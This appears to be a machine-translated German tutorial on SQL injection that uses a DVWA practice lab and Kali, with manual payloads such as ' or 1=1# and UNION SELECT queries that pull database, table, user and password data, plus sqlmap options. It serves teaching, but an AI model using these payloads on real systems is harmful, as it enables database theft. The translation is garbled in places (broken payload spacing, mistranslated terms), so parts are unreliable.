Sicherheit des Webanwendungsservers (Schwachstelle beim Hochladen von Dateien, Schwachstelle bei der Einbindung von Dateien)
Web-Client-Sicherheit (XSS-Cross-Site-Angriff)
2. SQL-Injektion
2.1 Einführung in die SQL-Injektion
SQL-Injection steht ganz oben auf der Liste der Sicherheitsprobleme
Der SQL-Injection-Angriff besteht darin, dass die Eingabeparameter nicht gefiltert und dann zur Analyse direkt in die SQL-Anweisung eingefügt werden.
SQL-Injection ist eine Angriffstechnik, die SQL-Code zu Eingabeparametern hinzufügt und ihn zur Analyse und Ausführung an den Server weiterleitet.
2.2 SQL-Injection-Prinzip
Der Angreifer übermittelt bösartige Zeichen auf der Seite
Der Server filtert die übermittelten Parameter nicht oder die Filterung ist unzureichend.
Angreifer verwenden Splicing-SQL-Anweisungen, um vertrauliche Informationen aus der Datenbank abzurufen
2.3 Gefahren der SQL-Injektion
Datenbankleck
Benutzerdaten wurden illegal gekauft und verkauft
Gefährdung der Sicherheit von Webanwendungen
2.4 SQL-Injection-Implementierungsmethode
Handbuch
Finden: Einspritzpunkt
Eingabe: Gemeinsame SQL-Injection-Kombinationssyntax für die Injektion
automatisch (Werkzeug)
Werkzeug: Nach Einspritzpunkten suchen
Eingabe: Probieren Sie automatisch verschiedene Syntaxkombinationen aus
3. Umgebungseinrichtung
3.1 virtuelle VMware-Maschine
3.1.1 Funktion
Mit der Software für virtuelle Maschinen können Sie Software verwenden, um mehrere virtuelle Betriebssysteme (Linux, Windows) auf physischen Maschinen zu installieren
3.3 Penetrationsmaschine (Lernen, die SQL-Injection-Umgebung anzugreifen)
Wirkung:
Kali enthält Hunderte von Tools, die für verschiedene Informationssicherheitsaufgaben wie Penetrationstests und Sicherheitsforschung verwendet werden können
4. Manuelle Injektion
4.1 Umgebungsvorbereitung
Beschreibung: Üben Sie die manuelle Injektion über die Drohnen-Webanwendung Schritt:
Starten Sie die Zieldrohne OWASP
Greifen Sie über einen Browser auf die Drohne zu
Besuchen Sie das OWASP-dvwa-Projekt
Anmeldung
Wählen Sie die SQL-Injection-Anwendung aus
4.2 Finden Sie den Einspritzpunkt
Hinweis: Verwenden Sie hauptsächlich einfache Anführungszeichen und Escape-Zeichen, hauptsächlich einfache Anführungszeichen Prinzip:
#后台程序sql语句select first_name,last_name from users where user_id ='$id';#输入单引号('),相当于将sql语句闭合,后面就可以使用附加其他逻辑条件了select first_name,last_name fro users where user_id =''';
1
2
3
4
4.3 Logisches ODER
4.4 Erraten Sie die Anzahl der Spalten
durch Gewerkschaft
' unionselect1,2#
1
2. Durch logisches ODER
'or1=1#
1
4.5 Datenbanken, Tabellen und Spalten abrufen
Datenbanknamen abrufen
' unionselect1,database()#
1
Tisch besorgen
' union select table_name,1 from information_schema.tables where table_schema='dvwa' #
1
Spalte abrufen
' union select column_name,1 from information_schema.columns where table_name='users' #
1
4.6 Daten abrufen
//1. 获取单个字段数据' union select user,1 from users#
//2. 获取两个字段
'unionselectuser,password from users#
1
2
3
4
5
4.7 Concat-Funktion
Funktion: Mehrere Zeichenfolgen zu einer Zeichenfolge zusammenfügen Syntax: concat(str1,str2,…) Beispiel:
Holen Sie sich Benutzer-ID, Benutzer und Passwort aus der Benutzertabelle und zeigen Sie sie in zwei Spalten an
' union select user,concat(first_name,'',last_name,' ',password)from users#
1
5. Automatische Injektion
5.1 Einführung in die automatische Injektion
Hinweis: Unter „Automatische Injektion“ versteht man die Verwendung von Werkzeugen anstelle manueller Arbeit zum Abschließen von SQL-Injektionsvorgängen. Werkzeug: sqlmap
5.2 Die Umgebung automatisch injizieren
Starten Sie die Drohne
Starten Sie die Penetrationsmaschine
5.3 SQLMap
Werkzeug: sqlmap
Ein Open-Source-Penetrationstest-Tool
Erkennen und nutzen Sie automatisch SQL-Injection-Schwachstellen und übernehmen Sie Datenbankserver
Da wir uns anmelden müssen, erhalten wir zunächst das Cookie der angemeldeten Seite Beginnen Sie dann mit dem Scannen des Injektionspunkts Erfolgreiche Injektion
5.3.2 sqlmap erhält den Bibliotheksnamen
– current-db: Fragen Sie den vom aktuellen Web verwendeten Datenbanknamen ab -D: Anwenden der angegebenen Datenbank Operationsergebnis:
5.3.3 sqlmap ruft Tabelle ab
– current-db: Fragen Sie alle Tabellennamen unter der angegebenen Bibliothek ab (Sie müssen -D verwenden, um zuerst den Bibliotheksnamen anzugeben). -T: Tabelle angeben
Operationsergebnis:
5.3.4 sqlmap ruft Spalten ab
– Spalten: Fragen Sie alle Felder unter der angegebenen Tabelle ab (Sie müssen -T verwenden, um zuerst den Tabellennamen anzugeben). -C: Feldnamen angeben